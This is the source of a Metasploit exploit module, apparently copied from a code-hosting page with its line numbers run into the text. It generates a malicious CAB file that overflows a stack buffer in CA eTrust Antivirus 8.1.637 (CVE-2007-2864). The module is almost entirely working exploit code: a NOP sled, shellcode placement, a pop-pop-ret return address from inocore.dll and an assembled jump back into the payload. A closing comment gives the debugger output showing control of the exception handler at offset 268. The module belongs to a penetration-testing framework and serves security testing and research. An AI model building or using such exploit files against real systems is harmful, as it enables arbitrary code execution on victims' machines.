Path: blob/master/modules/exploits/windows/fileformat/ca_cab.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::FILEFORMAT910def initialize(info = {})11super(12update_info(13info,14'Name' => 'CA Antivirus Engine CAB Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in CA eTrust Antivirus 8.1.637.17By creating a specially crafted CAB file, an attacker may be able18to execute arbitrary code.19},20'License' => MSF_LICENSE,21'Author' => [ 'MC' ],22'References' => [23[ 'CVE', '2007-2864' ],24[ 'OSVDB', '35245'],25[ 'BID', '24330' ],26[ 'ZDI', '07-035' ],27],28'DefaultOptions' => {29'EXITFUNC' => 'thread',30'DisablePayloadHandler' => true,31},32'Payload' => {33'Space' => 250,34'BadChars' => "\x00",35'StackAdjustment' => -3500,36'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",37},38'Platform' => 'win',39'Targets' => [40[ 'Windows 2000 All / Windows XP SP0/SP1 (CA eTrust Antivirus 8.1.637)', { 'Ret' => 0x6dc886ea } ], # inocore.dll41],42'Privileged' => false,43'DisclosureDate' => '2007-06-05',44'DefaultTarget' => 0,45'Notes' => {46'Reliability' => UNKNOWN_RELIABILITY,47'Stability' => UNKNOWN_STABILITY,48'SideEffects' => UNKNOWN_SIDE_EFFECTS49}50)51)5253register_options(54[55OptString.new('FILENAME', [ false, 'The file name.', 'msf.cab']),56]57)58end5960def exploit61cab_header = "\x4D\x53\x43\x46\x00\x00\x00\x00\xC4\x0D\x00\x00\x00\x00\x00\x00"62cab_header << "\x2C\x00\x00\x00\x00\x00\x00\x00\x03\x01\x01\x00\x01\x00\x00\x00"63cab_header << "\xD2\x04\x00\x00\x44\x00\x00\x00\x01\x00\x00\x00\x78\x0D\x00\x00"64cab_header << "\x00\x00\x00\x00\x00\x00\xE2\x36\x53\xAD\x20\x00"6566sploit = make_nops(268 - payload.encoded.length) + payload.encoded67sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')68sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-260").encode_string69sploit << make_nops(800)7071cab = cab_header + sploit7273print_status("Creating '#{datastore['FILENAME']}' file ...")7475file_create(cab)76end77end7879=begin800:001> !exchain8100cdf1b0: VetE!InoAvpackDat+ca058 (600d19c8)8200cdf2fc: 316a413083Invalid exception stack at 6a413969840:001> !pattern_offset 1024 0x6a41396985[Byakugan] Control of 0x6a413969 at offset 268.860:001> !pattern_offset 1024 0x316a413087[Byakugan] Control of 0x316a4130 at offset 272.880:001> u 0x6dc886ea L389INOCORE!QSIInitQSysInfo+0x278a:906dc886ea 5f pop edi916dc886eb 5e pop esi926dc886ec c3 ret93=end949596